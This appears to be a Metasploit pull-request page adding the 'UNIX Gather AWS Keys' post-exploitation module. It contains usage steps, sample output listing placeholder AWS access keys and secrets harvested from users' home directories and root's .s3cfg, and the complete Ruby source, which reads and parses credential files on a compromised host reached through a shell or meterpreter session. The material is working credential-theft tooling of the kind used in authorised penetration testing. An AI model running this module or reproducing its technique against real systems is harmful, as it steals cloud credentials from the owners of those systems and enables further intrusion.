Land #7506, Add gather AWS keys post module
dmohanty-r7
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2b5517f597
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## Vulnerable Application
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Any system with a `shell` or `meterpreter` session.
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## Verification Steps
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1. Get a `shell` or `meterpreter` session on some host.
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2. Do: ```use post/multi/gather/aws_keys```
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3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
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4. Do: ```run```
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5. If the system has readable configuration files containing AWS key material, they will be printed out.
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## Options
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None.
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## Scenarios
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```
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msf post(aws_keys) > run
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[*] Enumerating possible user AWS config files
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[*] Looking for AWS config/credentials files in /bin
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[*] Looking for AWS config/credentials files in /dev
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[*] Looking for AWS config/credentials files in /home/syslog
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[*] Looking for AWS config/credentials files in /home/test
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[*] Looking for AWS config/credentials files in /home/test ubuntu
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[*] Looking for AWS config/credentials files in /home/ubuntu
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[*] Looking for AWS config/credentials files in /nonexistent
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[*] Looking for AWS config/credentials files in /root
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[*] Looking for AWS config/credentials files in /usr/games
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[*] Looking for AWS config/credentials files in /usr/sbin
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[*] Looking for AWS config/credentials files in /var/backups
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[*] Looking for AWS config/credentials files in /var/cache/man
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[*] Looking for AWS config/credentials files in /var/cache/pollinate
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[*] Looking for AWS config/credentials files in /var/lib/gnats
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[*] Looking for AWS config/credentials files in /var/lib/landscape
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[*] Looking for AWS config/credentials files in /var/lib/libuuid
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[*] Looking for AWS config/credentials files in /var/list
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[*] Looking for AWS config/credentials files in /var/mail
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[*] Looking for AWS config/credentials files in /var/run/dbus
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[*] Looking for AWS config/credentials files in /var/run/ircd
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[*] Looking for AWS config/credentials files in /var/run/sshd
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[*] Looking for AWS config/credentials files in /var/spool/lpd
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[*] Looking for AWS config/credentials files in /var/spool/news
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[*] Looking for AWS config/credentials files in /var/spool/uucp
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[*] Looking for AWS config/credentials files in /var/www
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AWS Key Data
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============
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Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
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------ ----------------- --------------------- -------
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/home/test/.aws/credentials BAR PRIVATE_TEST test
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/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
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/root/.s3cfg root_key root_secret default
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```
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@ -0,0 +1,96 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Unix
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AWS_KEY = 'AWS_ACCESS_KEY_ID'
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AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'
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S3_KEY = 'access_key'
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S3_SECRET = 'secret_key'
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'UNIX Gather AWS Keys',
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'Description' => %q(
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This module will attempt to read AWS configuration files
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(.aws/config, .aws//credentials and .s3cfg) for users discovered
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on the session'd system and extract AWS keys from within.
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),
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'License' => MSF_LICENSE,
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'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
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'SessionTypes' => %w(shell meterpreter),
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'References' => [
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[ 'URL', 'http://s3tools.org/kb/item14.htm' ],
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[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]
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]
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)
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)
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end
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def get_aws_keys(config_file)
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keys_data = []
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config_s = cmd_exec("test -r #{config_file} && cat #{config_file}")
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return keys_data if config_s.empty?
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aws_config = Rex::Parser::Ini.from_s(config_s)
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aws_config.each_key do |profile|
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# XXX: Ini assumes anything on either side of the = is the key and value
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# including spaces, so we need to fix this
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profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]
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aws_access_key_id = nil
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aws_secret_access_key = nil
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profile_config.each_pair do |key, value|
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if key == AWS_KEY.downcase || key == S3_KEY
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aws_access_key_id = value
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end
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if key == AWS_SECRET.downcase || key == S3_SECRET
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aws_secret_access_key = value
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end
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end
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next unless aws_access_key_id || aws_secret_access_key
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keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]
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end
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keys_data
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end
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def get_keys_from_files
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keys_data = []
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vprint_status("Enumerating possible user AWS config files")
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# build up a list of aws configuration files to read, including the
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# configuration files that may exist (rare)
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enum_user_directories.map do |user_dir|
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vprint_status("Looking for AWS config/credentials files in #{user_dir}")
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%w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file|
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this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))
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next if this_key_data.empty?
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keys_data <<= this_key_data.flatten
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end
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end
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keys_data
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end
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def run
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keys_data = get_keys_from_files
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return if keys_data.empty?
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keys_table = Rex::Text::Table.new(
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'Header' => "AWS Key Data",
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'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]
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)
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keys_data.each do |key_data|
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keys_table << key_data
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end
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print_line(keys_table.to_s)
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end
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end
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